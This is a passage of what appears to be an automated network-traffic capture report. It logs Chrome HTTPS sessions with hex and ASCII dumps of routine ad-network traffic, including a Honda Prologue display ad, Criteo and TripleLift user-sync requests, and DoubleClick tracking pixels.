feedback\x26quot;,[\x26quot;user_feedback_menu_option\x26quot;,\x26quot;1\x26quot;,1],[\x26quot;What was wrong with this ad?\x26quot;,[[\x26quot;Ad cover
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: 6f 74 3b 41 64 20 73 65 74 74 69 6e 67 73 5c 78 32 36 71 75 6f 74 3b 2c 5c 78 32 36 71 75 6f 74 3b 68 74 74 70 73 3a 2f 2f 61 64 73 73 65 74 74 69 6e 67 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 5c 78 32 36 71 75 6f 74 3b 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 30 2c 30 5d 2c 5c 78 32 36 71 75 6f 74 3b 41 42 33 61 66 47 45 41 41 41 61 44 57 31 74 62 57 32 35 31 62 47 77 73 62 6e 56 73 62 43 78 75 64 57 78 73 4c 47 35 31 62 47 77 73 62 6e 56 73 62 43 78 75 64 57 78 73 4c 47 35 31 62 47 77 73 62 6e 56 73 62 43 78 75 64 57 78 73 4c 47 35 31 62 47 77 73 62 6e 56 73 62 43 78 75 64 57 78 73 4c 47 35 31 62 47 77 73 62 6e 56 73 62 43 78 75 64 57 78 73 4c 47 35 31 62 47 77 73 62 6e 56 73 62 43 78 75 64 57 78 73 Data Ascii: ot;Ad settings\x26quot;,\x26quot;https://adssettings.google.com\x26quot;,null,null,null,0,null,null,null,0,0],\x26quot;AB3afGEAAAaDW1tbW251bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxs
2024-04-27 22:42:12 UTC	1255	IN	Data Raw: 53 48 49 33 4e 6e 68 42 63 57 64 49 62 57 64 68 62 30 4a 66 55 46 4a 48 4e 6d 64 49 62 48 52 6e 59 6e 46 42 5a 58 46 74 4e 30 56 44 63 55 46 6c 52 48 4a 69 52 55 4e 78 51 57 5a 6e 64 6d 4a 46 51 33 46 42 5a 6c 39 75 63 6b 56 44 63 55 46 6d 5a 6d 34 33 52 55 4e 78 51 57 59 30 64 33 4a 46 51 33 46 42 5a 6a 64 33 63 6b 56 44 4d 6b 46 6a 51 54 42 6e 5a 32 74 44 53 55 4a 6f 52 55 46 46 57 56 68 36 53 55 4e 70 5a 30 6b 32 51 31 6c 43 51 57 64 4e 51 30 46 6e 53 55 4e 6e 53 30 56 70 4f 56 39 6a 52 54 5a 58 54 32 46 72 4e 7a 6c 70 4e 7a 51 30 56 55 51 34 5a 32 64 4f 57 57 31 73 61 31 70 48 56 6e 6c 4d 56 46 56 36 54 31 52 42 65 45 39 4a 51 55 74 43 53 6d 64 4d 51 57 4e 6e 54 45 46 5a 51 55 31 42 59 57 39 4f 51 57 78 57 56 48 4e 43 55 44 42 36 63 6e 4e 59 65 55 4a Data Ascii: SHI3NnhBcWdIbWdhb0JfUFJHNmdIbHRnYnFBZXFtN0VDcUFlRHJiRUNxQWZndmJFQ3FBZl9uckVDcUFmZm43RUNxQWY0d3JFQ3FBZjd3ckVDMkFjQTBnZ2tDSUJoRUFFWVh6SUNpZ0k2Q1lCQWdNQ0FnSUNnS0VpOV9jRTZXT2FrNzlpNzQ0VUQ4Z2dOWW1sa1pHVnlMVFV6T1RBeE9JQUtCSmdMQWNnTEFZQU1BYW9OQWxWVHNCUDB6cnNYeUJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.4	50165	69.166.1.67	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:12 UTC	123	IN	HTTP/1.1 408 Request Time-out Content-length: 110 Cache-Control: no-cache Connection: close Content-Type: text/html
2024-04-27 22:42:12 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.4	50159	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:14 UTC	123	IN	HTTP/1.1 408 Request Time-out Content-length: 110 Cache-Control: no-cache Connection: close Content-Type: text/html
2024-04-27 22:42:14 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.4	50234	142.251.163.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:14 UTC	882	OUT	GET /sadbundle/10005337952414769934/PRO_NEW_MY24%20Prologue%20Launch_NSEV_NOIN_ENG_300x250_WDCH_H5_NV_LNM_MULT/MY24-PROLOGUE_LAUNCH_HTML_300x250_NC_AB.html?ev=01_250 HTTP/1.1 Host: s0.2mdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:14 UTC	832	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/html Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media" Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media"}]} Timing-Allow-Origin: * Content-Length: 79370 Date: Sat, 27 Apr 2024 22:42:14 GMT Expires: Sun, 27 Apr 2025 22:42:14 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 27 Mar 2024 15:52:48 GMT X-Content-Type-Options: nosniff Allow-Fenced-Frame-Automatic-Beacons: true X-DNS-Prefetch-Control: off Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:14 UTC	423	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 64 2e 73 69 7a 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 33 30 30 2c 68 65 69 67 68 74 3d 32 35 30 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 69 6e 67 2d 74 6f 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 41 64 6f 62 65 5f 41 6e 69 6d 61 74 65 5f 43 43 22 3e 0a 3c 74 69 74 6c 65 3e 44 49 53 50 4c 41 59 5f 48 4f 4e 5f 46 4d 43 5f 4d 59 32 34 2d 50 52 4f 4c 4f 47 55 45 2d 50 52 4f 44 55 43 54 5f 4c 41 55 4e 43 48 2d 47 45 4e 45 52 41 4c 5f 42 52 41 4e 44 5f 42 52 44 5f 4c 45 41 52 4e 4d 4f 52 45 5f 48 54 4d 4c 2d 44 45 53 4b 54 4f 50 5f Data Ascii: <!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="ad.size" content="width=300,height=250"><meta name="authoring-tool" content="Adobe_Animate_CC"><title>DISPLAY_HON_FMC_MY24-PROLOGUE-PRODUCT_LAUNCH-GENERAL_BRAND_BRD_LEARNMORE_HTML-DESKTOP_
2024-04-27 22:42:14 UTC	1255	IN	Data Raw: 64 65 61 6c 65 72 73 68 69 70 5f 6e 61 6d 65 3a 20 22 49 6e 73 65 72 74 20 79 6f 75 72 20 48 6f 6e 64 61 20 44 65 61 6c 65 72 2f 5c 6e 41 64 20 41 73 73 6f 63 69 61 74 69 6f 6e 20 6e 61 6d 65 22 2c 0a 09 09 64 69 73 63 6c 61 69 6d 65 72 3a 20 22 50 72 6f 6c 6f 67 75 65 20 45 6c 69 74 65 20 73 68 6f 77 6e 20 77 69 74 68 20 70 72 65 6d 69 75 6d 20 63 6f 6c 6f 72 2e 20 41 76 61 69 6c 61 62 6c 65 20 69 6e 20 4d 61 72 63 68 20 32 30 32 34 2e 22 2c 0a 09 09 76 65 68 69 63 6c 65 5f 69 6d 61 67 65 3a 20 22 69 6d 61 67 65 73 2f 54 42 44 2e 70 6e 67 22 2c 0a 09 09 64 65 61 6c 65 72 73 68 69 70 5f 63 6c 69 63 6b 74 61 67 3a 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 68 6f 6e 64 61 2e 63 6f 6d 22 0a 09 7d 0a 09 76 61 72 20 64 65 61 6c 65 72 54 61 67 20 3d 20 61 6e 73 69 Data Ascii: dealership_name: "Insert your Honda Dealer/\nAd Association name",disclaimer: "Prologue Elite shown with premium color. Available in March 2024.",vehicle_image: "images/TBD.png",dealership_clicktag: "http://www.honda.com"}var dealerTag = ansi
2024-04-27 22:42:14 UTC	1255	IN	Data Raw: 30 70 78 22 3b 09 09 09 09 0a 09 09 6e 6f 64 65 2e 73 74 79 6c 65 2e 66 6f 6e 74 53 69 7a 65 20 20 20 20 20 20 3d 20 22 33 30 30 70 78 22 3b 09 09 09 09 0a 09 09 6e 6f 64 65 2e 73 74 79 6c 65 2e 66 6f 6e 74 46 61 6d 69 6c 79 20 20 20 20 3d 20 22 73 61 6e 73 2d 73 65 72 69 66 22 3b 09 09 09 09 0a 09 09 6e 6f 64 65 2e 73 74 79 6c 65 2e 66 6f 6e 74 56 61 72 69 61 6e 74 20 20 20 3d 20 22 6e 6f 72 6d 61 6c 22 3b 09 09 09 09 0a 09 09 6e 6f 64 65 2e 73 74 79 6c 65 2e 66 6f 6e 74 53 74 79 6c 65 20 20 20 20 20 3d 20 22 6e 6f 72 6d 61 6c 22 3b 09 09 09 09 0a 09 09 6e 6f 64 65 2e 73 74 79 6c 65 2e 66 6f 6e 74 57 65 69 67 68 74 20 20 20 20 3d 20 22 6e 6f 72 6d 61 6c 22 3b 09 09 09 09 0a 09 09 6e 6f 64 65 2e 73 74 79 6c 65 2e 6c 65 74 74 65 72 53 70 61 63 69 6e 67 20 Data Ascii: 0px";node.style.fontSize = "300px";node.style.fontFamily = "sans-serif";node.style.fontVariant = "normal";node.style.fontStyle = "normal";node.style.fontWeight = "normal";node.style.letterSpacing
2024-04-27 22:42:14 UTC	1255	IN	Data Raw: 20 30 3b 0a 76 61 72 20 67 46 6f 6e 74 73 55 70 64 61 74 65 43 61 63 68 65 4c 69 73 74 20 3d 20 5b 5d 3b 0a 76 61 72 20 74 46 6f 6e 74 73 55 70 64 61 74 65 43 61 63 68 65 4c 69 73 74 20 3d 20 5b 5d 3b 0a 6c 69 62 2e 73 73 4d 65 74 61 64 61 74 61 20 3d 20 5b 0a 09 09 7b 6e 61 6d 65 3a 22 44 49 53 50 4c 41 59 5f 48 4f 4e 5f 46 4d 43 5f 4d 59 32 34 5f 50 52 4f 4c 4f 47 55 45 5f 50 52 4f 44 55 43 54 5f 4c 41 55 4e 43 48 5f 47 45 4e 45 52 41 4c 5f 42 52 41 4e 44 5f 42 52 44 5f 4c 45 41 52 4e 4d 4f 52 45 5f 48 54 4d 4c 5f 44 45 53 4b 54 4f 50 5f 33 30 30 78 32 35 30 5f 43 41 4d 50 41 49 47 4e 5f 61 74 6c 61 73 5f 4e 50 5f 31 22 2c 20 66 72 61 6d 65 73 3a 20 5b 5b 30 2c 34 30 36 2c 35 39 32 2c 34 30 33 5d 2c 5b 30 2c 38 31 31 2c 35 38 38 2c 34 30 32 5d 2c 5b 35 Data Ascii: 0;var gFontsUpdateCacheList = [];var tFontsUpdateCacheList = [];lib.ssMetadata = [{name:"DISPLAY_HON_FMC_MY24_PROLOGUE_PRODUCT_LAUNCH_GENERAL_BRAND_BRD_LEARNMORE_HTML_DESKTOP_300x250_CAMPAIGN_atlas_NP_1", frames: [[0,406,592,403],[0,811,588,402],[5
2024-04-27 22:42:14 UTC	1255	IN	Data Raw: 45 6c 65 6d 65 6e 74 73 54 6f 43 61 63 68 65 28 74 78 74 49 6e 73 74 5b 66 5d 2c 20 67 46 6f 6e 74 73 55 70 64 61 74 65 43 61 63 68 65 4c 69 73 74 29 3b 09 09 0a 09 6c 6f 61 64 65 64 47 6f 6f 67 6c 65 43 6f 75 6e 74 2b 2b 3b 09 09 0a 09 69 66 28 6c 6f 61 64 65 64 47 6f 6f 67 6c 65 43 6f 75 6e 74 20 3d 3d 20 74 6f 74 61 6c 47 6f 6f 67 6c 65 43 6f 75 6e 74 29 20 7b 09 09 0a 09 09 6c 69 62 2e 75 70 64 61 74 65 4c 69 73 74 43 61 63 68 65 28 67 46 6f 6e 74 73 55 70 64 61 74 65 43 61 63 68 65 4c 69 73 74 29 3b 09 09 0a 09 7d 09 09 0a 7d 3b 09 09 0a 6c 69 62 2e 74 66 6f 6e 74 41 76 61 69 6c 61 62 6c 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 66 61 6d 69 6c 79 2c 20 74 6f 74 61 6c 54 79 70 65 6b 69 74 43 6f 75 6e 74 29 20 7b 09 09 0a 09 6c 69 62 2e 70 72 6f 70 65 72 Data Ascii: ElementsToCache(txtInst[f], gFontsUpdateCacheList);loadedGoogleCount++;if(loadedGoogleCount == totalGoogleCount) {lib.updateListCache(gFontsUpdateCacheList);}};lib.tfontAvailable = function(family, totalTypekitCount) {lib.proper
2024-04-27 22:42:14 UTC	1255	IN	Data Raw: 4e 5f 61 74 6c 61 73 5f 4e 50 5f 31 22 5d 29 3b 0a 09 74 68 69 73 2e 67 6f 74 6f 41 6e 64 53 74 6f 70 28 30 29 3b 0a 7d 29 2e 70 72 6f 74 6f 74 79 70 65 20 3d 20 70 20 3d 20 6e 65 77 20 63 6a 73 2e 53 70 72 69 74 65 28 29 3b 0a 28 6c 69 62 2e 50 69 63 74 5f 30 32 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 74 68 69 73 2e 69 6e 69 74 69 61 6c 69 7a 65 28 73 73 5b 22 44 49 53 50 4c 41 59 5f 48 4f 4e 5f 46 4d 43 5f 4d 59 32 34 5f 50 52 4f 4c 4f 47 55 45 5f 50 52 4f 44 55 43 54 5f 4c 41 55 4e 43 48 5f 47 45 4e 45 52 41 4c 5f 42 52 41 4e 44 5f 42 52 44 5f 4c 45 41 52 4e 4d 4f 52 45 5f 48 54 4d 4c 5f 44 45 53 4b 54 4f 50 5f 33 30 30 78 32 35 30 5f 43 41 4d 50 41 49 47 4e 5f 61 74 6c 61 73 5f 4e 50 5f 31 22 5d 29 3b 0a 09 74 68 69 73 2e 67 6f 74 6f 41 6e Data Ascii: N_atlas_NP_1"]);this.gotoAndStop(0);}).prototype = p = new cjs.Sprite();(lib.Pict_02 = function() {this.initialize(ss["DISPLAY_HON_FMC_MY24_PROLOGUE_PRODUCT_LAUNCH_GENERAL_BRAND_BRD_LEARNMORE_HTML_DESKTOP_300x250_CAMPAIGN_atlas_NP_1"]);this.gotoAn
2024-04-27 22:42:14 UTC	1255	IN	Data Raw: 3d 20 66 72 61 6d 65 42 6f 75 6e 64 73 3b 0a 09 72 65 74 75 72 6e 20 70 72 6f 74 6f 74 79 70 65 3b 0a 09 7d 0a 28 6c 69 62 2e 53 79 6d 62 6f 6c 34 20 3d 20 66 75 6e 63 74 69 6f 6e 28 6d 6f 64 65 2c 73 74 61 72 74 50 6f 73 69 74 69 6f 6e 2c 6c 6f 6f 70 2c 72 65 76 65 72 73 65 64 29 20 7b 0a 69 66 20 28 6c 6f 6f 70 20 3d 3d 20 6e 75 6c 6c 29 20 7b 20 6c 6f 6f 70 20 3d 20 74 72 75 65 3b 20 7d 0a 69 66 20 28 72 65 76 65 72 73 65 64 20 3d 3d 20 6e 75 6c 6c 29 20 7b 20 72 65 76 65 72 73 65 64 20 3d 20 66 61 6c 73 65 3b 20 7d 0a 09 76 61 72 20 70 72 6f 70 73 20 3d 20 6e 65 77 20 4f 62 6a 65 63 74 28 29 3b 0a 09 70 72 6f 70 73 2e 6d 6f 64 65 20 3d 20 6d 6f 64 65 3b 0a 09 70 72 6f 70 73 2e 73 74 61 72 74 50 6f 73 69 74 69 6f 6e 20 3d 20 73 74 61 72 74 50 6f 73 69 Data Ascii: = frameBounds;return prototype;}(lib.Symbol4 = function(mode,startPosition,loop,reversed) {if (loop == null) { loop = true; }if (reversed == null) { reversed = false; }var props = new Object();props.mode = mode;props.startPosition = startPosi
2024-04-27 22:42:14 UTC	1255	IN	Data Raw: 41 51 41 4b 41 41 41 46 41 47 51 41 44 41 45 41 41 41 46 51 41 41 41 50 67 53 41 41 49 68 70 41 41 49 41 41 42 56 49 42 32 41 41 51 41 53 41 41 41 41 41 51 51 41 41 41 51 67 53 41 41 67 41 70 4d 43 41 51 67 56 41 41 41 41 67 57 49 41 41 6a 58 51 41 41 67 4c 41 48 67 46 51 41 46 67 45 41 47 41 41 51 41 47 41 41 41 46 41 45 51 41 48 41 46 41 41 41 4c 49 41 41 44 4e 49 42 6a 41 41 51 41 52 41 41 41 41 41 51 51 41 41 41 51 67 52 41 41 67 41 73 6c 43 41 51 67 56 41 41 41 41 67 57 49 41 41 6a 54 51 41 41 67 56 41 56 41 41 49 42 2f 41 41 51 41 53 41 41 41 41 41 51 51 41 41 41 50 67 53 41 41 49 68 78 41 41 49 41 41 42 4d 49 42 71 41 41 51 41 52 41 41 41 41 41 50 51 41 41 41 50 67 52 41 41 49 68 71 41 41 49 41 41 42 56 49 42 33 41 41 51 41 52 41 41 41 41 41 51 51 Data Ascii: AQAKAAAFAGQADAEAAAFQAAAPgSAAIhpAAIAABVIB2AAQASAAAAAQQAAAQgSAAgApMCAQgVAAAAgWIAAjXQAAgLAHgFQAFgEAGAAQAGAAAFAEQAHAFAAALIAADNIBjAAQARAAAAAQQAAAQgRAAgAslCAQgVAAAAgWIAAjTQAAgVAVAAIB/AAQASAAAAAQQAAAPgSAAIhxAAIAABMIBqAAQARAAAAAPQAAAPgRAAIhqAAIAABVIB3AAQARAAAAAQQ
2024-04-27 22:42:14 UTC	1255	IN	Data Raw: 51 41 41 41 74 67 63 41 56 51 67 61 41 55 67 7a 41 41 67 41 43 42 68 39 51 67 45 41 46 67 42 41 50 49 41 41 44 54 51 41 42 41 4f 41 45 41 47 51 41 45 41 46 41 4e 41 41 49 46 39 41 41 51 41 4e 41 41 41 45 67 46 51 41 46 67 47 67 42 67 4f 49 41 41 6a 54 51 41 42 67 50 67 46 67 46 51 67 46 67 46 67 4d 41 41 49 6c 39 41 41 51 67 4e 41 41 67 45 41 46 67 41 70 43 44 5a 51 68 6d 41 41 41 42 68 57 49 41 41 6c 62 49 42 6c 41 41 49 41 41 46 43 51 41 41 41 4f 41 47 41 47 51 41 45 41 46 41 4d 41 41 49 48 31 41 41 49 41 41 42 57 67 41 30 61 44 5a 51 68 6d 41 41 41 41 68 57 49 41 41 6b 46 51 41 41 68 57 42 6d 41 41 49 47 6d 41 41 51 41 7a 41 41 41 61 41 55 51 41 63 41 56 41 41 41 74 49 41 41 45 46 51 41 41 41 74 67 63 41 56 51 67 61 41 55 67 7a 41 41 67 41 30 56 68 39 Data Ascii: QAAAtgcAVQgaAUgzAAgACBh9QgEAFgBAPIAADTQABAOAEAGQAEAFANAAIF9AAQANAAAEgFQAFgGgBgOIAAjTQABgPgFgFQgFgFgMAAIl9AAQgNAAgEAFgApCDZQhmAAABhWIAAlbIBlAAIAAFCQAAAOAGAGQAEAFAMAAIH1AAIAABWgA0aDZQhmAAAAhWIAAkFQAAhWBmAAIGmAAQAzAAAaAUQAcAVAAAtIAAEFQAAAtgcAVQgaAUgzAAgA0Vh9
2024-04-27 22:42:14 UTC	1255	IN	Data Raw: 2e 53 68 61 70 65 28 29 3b 0a 09 74 68 69 73 2e 73 68 61 70 65 2e 67 72 61 70 68 69 63 73 2e 66 28 22 23 46 46 46 46 46 46 22 29 2e 73 28 29 2e 70 28 22 41 44 63 42 30 51 67 5a 67 61 41 41 67 6f 51 41 41 67 6e 41 5a 67 5a 51 41 5a 67 5a 41 6d 41 41 51 41 67 41 41 41 57 41 53 51 41 57 41 54 41 46 41 69 49 41 42 41 4c 51 41 41 41 52 67 53 41 41 49 68 32 41 41 51 41 42 41 57 41 51 41 50 51 41 51 41 4f 41 58 41 41 51 41 58 41 42 41 56 67 54 51 41 46 67 46 41 48 41 41 51 41 46 41 41 41 46 41 45 51 41 45 41 45 41 41 41 47 51 41 41 41 47 67 46 41 47 51 67 5a 41 61 67 6f 41 41 51 67 6e 41 41 67 61 67 59 67 41 44 32 41 41 51 67 50 41 4f 67 43 41 56 49 42 6d 41 41 51 67 42 67 57 67 4d 67 4e 51 67 4d 67 4d 67 58 41 41 51 67 57 41 41 67 50 41 4d 67 41 49 77 42 33 49 Data Ascii: .Shape();this.shape.graphics.f("#FFFFFF").s().p("ADcB0QgZgaAAgoQAAgnAZgZQAZgZAmAAQAgAAAWASQAWATAFAiIABALQAAARgSAAIh2AAQABAWAQAPQAQAOAXAAQAXABAVgTQAFgFAHAAQAFAAAFAEQAEAEAAAGQAAAGgFAGQgZAagoAAQgnAAgagYgAD2AAQgPAOgCAVIBmAAQgBgWgMgNQgMgMgXAAQgWAAgPAMgAIwB3I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.4	50238	74.119.117.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:14 UTC	965	OUT	GET /user-sync/iframe?gdprapplies=0&gdpr=&ccpa=1YNN&gpp=DBAA&gpp_sid=-1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dcriteo%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24%7BCRITEO_USER_ID%7D&profile=230 HTTP/1.1 Host: ssp-sync.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=3a1484ea-90ac-4bdd-895c-934bad280353
2024-04-27 22:42:14 UTC	272	IN	HTTP/1.1 200 OK content-length: 571 content-type: text/html date: Sat, 27 Apr 2024 22:42:14 GMT server: Kestrel cache-control: no-store,max-age=0 cross-origin-resource-policy: cross-origin strict-transport-security: max-age=31536000; preload; connection: close
2024-04-27 22:42:14 UTC	571	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 78 2e 62 69 64 73 77 69 74 63 68 2e 6e 65 74 2f 73 79 6e 63 3f 73 73 70 3d 63 72 69 74 65 6f 26 63 75 73 74 6f 6d 5f 64 61 74 61 3d 6b 73 71 76 67 56 38 33 57 45 4a 51 61 6d 74 69 5a 58 4e 47 59 54 51 77 54 32 4e 70 52 6d 4a 42 63 6a 51 79 52 46 42 57 4f 47 39 42 4d 6b 68 6c 53 48 41 6c 4d 6b 5a 31 63 6b 52 45 4d 33 42 6b 51 30 30 6c 4d 30 51 26 67 64 70 72 3d 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 26 63 72 5f 75 73 65 72 5f 69 64 3d 6b 2d 72 55 35 71 35 61 71 70 5f 64 4d 31 48 34 37 37 78 70 4a 4f 56 43 34 41 75 44 68 47 45 6c 68 36 63 57 73 31 34 67 22 3e 0a 3c 69 Data Ascii: <!DOCTYPE html><html><body><img src="https://x.bidswitch.net/sync?ssp=criteo&custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q&gdpr=&gdpr_consent=&us_privacy=1YNN&cr_user_id=k-rU5q5aqp_dM1H477xpJOVC4AuDhGElh6cWs14g"><i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.4	50242	35.71.139.29	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:14 UTC	743	OUT	GET /ebda?sync=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1& Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
2024-04-27 22:42:14 UTC	729	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:14 GMT Content-Length: 0 Connection: close Location: https://cm.g.doubleclick.net/pixel?google_nid=tl&gdpr=0&gdpr_consent=&us_privacy=&google_hm=NDM5NDE3MTEwOTUwNzQzNzQ1MTgwMQ%3D%3D Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4394171109507437451801; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:14 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4394171109507437451801; Max-Age=7776000; Expires=Fri, 26 Jul 2024 22:42:14 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.4	50241	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:14 UTC	892	OUT	GET /pixel?google_nid=triplelift&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; 